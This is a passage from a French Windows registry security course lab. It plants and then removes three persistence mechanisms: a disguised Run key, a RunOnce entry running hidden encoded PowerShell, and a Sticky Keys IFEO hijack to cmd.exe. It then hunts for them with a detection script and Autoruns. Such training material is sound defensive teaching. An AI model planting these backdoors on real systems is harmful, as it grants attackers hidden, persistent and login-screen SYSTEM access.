# Supprimer l'entrée de persistance Remove-ItemProperty -Path $runKey -Name "Windows Theme Service" -Force Write-Host "✅ Entrée Run supprimée" -ForegroundColor Green # Supprimer le fichier fictif Remove-Item -Path $fakeMalwarePath -Force Write-Host "✅ Fichier payload supprimé" -ForegroundColor Green # Vérification finale $remaining = Get-ItemProperty -Path $runKey -EA SilentlyContinue if ($remaining."Windows Theme Service") { Write-Host "✖ Entrée encore présente !" -ForegroundColor Red } else { Write-Host "✅ Nettoyage confirmé" -ForegroundColor Green }
TP 2

Autoruns & Détection d'Anomalies Injectées

TP 04-B Injecter plusieurs techniques de persistance, détecter avec Autoruns, nettoyer AVANCÉ
Objectifs
  1. Injecter 3 mécanismes de persistance différents (Run, RunOnce, IFEO)
  2. Utiliser Autoruns GUI pour les identifier visuellement
  3. Automatiser la détection via un script PowerShell de chasse
  4. Nettoyer toutes les entrées et confirmer
3 mécanismes de persistance injectés simultanémentPOWERSHELL
# ── Persistance 1 : Run Key standard ──────────────────────────────── New-ItemProperty ` -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "AdobeUpdateService" ` -Value "C:\Users\Public\adobe_upd.exe" ` -PropertyType String -Force # ── Persistance 2 : RunOnce avec payload encodé ────────────────────── New-ItemProperty ` -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" ` -Name "SystemMaintenance" ` -Value "powershell.exe -WindowStyle Hidden -EncodedCommand SQBFAFgA" ` -PropertyType String -Force # ── Persistance 3 : IFEO - Sticky Keys hijack ─────────────────────── $ifeoPath = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" New-Item -Path $ifeoPath -Force | Out-Null New-ItemProperty -Path $ifeoPath -Name "Debugger" -Value "C:\Windows\System32\cmd.exe" -PropertyType String -Force Write-Host "✅ 3 mécanismes injectés - lancer Autoruns.exe" -ForegroundColor Yellow
Script de chasse aux persistances - toutes les clés critiquesPOWERSHELL
$persistancePaths = @{ "Run (HKCU)" = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" "Run (HKLM)" = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" "RunOnce (HKCU)" = "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" "RunOnce (HKLM)" = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" "Winlogon" = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" "IFEO" = "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" } Write-Host "`n=== RAPPORT DE PERSISTANCE REGISTRE ===" -ForegroundColor Red foreach ($label in $persistancePaths.Keys) { $path = $persistancePaths[$label] if (-not (Test-Path $path)) { continue } if ($label -eq "IFEO") { # Chercher les sous-clés avec une valeur Debugger Get-ChildItem $path -EA SilentlyContinue | ForEach-Object { $debugger = (Get-ItemProperty $_.PSPath -EA SilentlyContinue).Debugger if ($debugger) { Write-Host "[IFEO] $($_.PSChildName) → $debugger" -ForegroundColor Red } } } else { $props = Get-ItemProperty -Path $path -EA SilentlyContinue $props.PSObject.Properties | Where-Object { $_.Name -notmatch "^PS" } | ForEach-Object { $alert = if ($_.Value -match "Public|Temp|encoded|IEX|Hidden") { "⚠ SUSPECT" } else { "✅" } Write-Host "[$label] $($_.Name) = $($_.Value.Substring(0,[Math]::Min(60,$_.Value.Length))) ← $alert" } } }
Suppression de toutes les entrées de testPOWERSHELL
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "AdobeUpdateService" -Force -EA SilentlyContinue Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce" ` -Name "SystemMaintenance" -Force -EA SilentlyContinue Remove-Item -Path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" ` -Recurse -Force -EA SilentlyContinue Write-Host "✅ Toutes les persistances de test supprimées" -ForegroundColor Green
✓

Résumé - Points clés à retenir

Origines & Architecture
Le Registre - base de données kernel

Né avec NT 3.1 (1993) pour remplacer les .INI. Structure à 4 niveaux : Hive → Clé → Sous-clé → Valeur typée. Les hives HARDWARE et HKCC sont volatiles. Chaque clé a une ACL exactement comme un fichier NTFS.

Format interne
Fichiers .DAT - parsables sans API

Format binaire avec base block "regf" + hive bins de 4096 bytes contenant des cells (nk, vk, sk). Extractibles et parsables directement depuis le disque avec Registry Explorer ou regipy - indispensable en forensics hors ligne.

Pour l'Offensif
Persistance par niveau de droits

Sans admin : HKCU Run (direct), COM Hijacking via HKCU\Software\Classes (furtif). Avec admin : HKLM Run, IFEO Debugger (accès SYSTEM depuis l'écran de login), Winlogon Userinit, AppInit_DLLs. Fileless : payload Base64 directement en valeur Run.

Pour le Défensif
Détection et audit

Event 4657 = modification de valeur (SACL + auditpol requis). Autoruns = inventaire complet des persistances avec vérification de signature. Surveiller en priorité : Run, RunOnce, Winlogon\Userinit, IFEO, AppInit_DLLs, CLSID dans HKCU.

  • Expliquer l'origine historique du Registre et pourquoi il remplace les .INI
  • Identifier les 5 hives racines et leurs fichiers physiques sur le disque
  • Distinguer HKLM (admin) et HKCU (user) - droits et portée
  • Créer, lire, modifier et supprimer des valeurs avec reg.exe et PowerShell
  • Charger une hive externe avec reg load pour analyse forensique
  • Injecter et détecter une persistance via HKCU\Run
  • Comprendre le mécanisme IFEO et ses vecteurs d'exploitation (sethc, osk…)
  • Créer un payload fileless encodé en Base64 stocké dans le registre
  • Configurer un audit SACL sur une clé et requêter les Event 4657
  • Utiliser Autorunsc pour générer un rapport CSV filtrable des persistances
Registry Adventure - Project Zero
projectzero.google
Hive Format Internals - Project Zero
projectzero.google
Event ID 4657 - Microsoft Docs
learn.microsoft.com
Anomaly Detection - SOC Analyst
csocanalyst.com
Windows Registry - Wikipedia
en.wikipedia.org
Prochain chapitre

Le Chapitre 5 - Système de Fichiers NTFS prolonge naturellement ce chapitre : on passe du stockage de configuration (registre) au stockage de données (fichiers), avec les ACLs NTFS, les Alternate Data Streams, et le Mark Of The Web - autant de vecteurs d'attaque et de détection.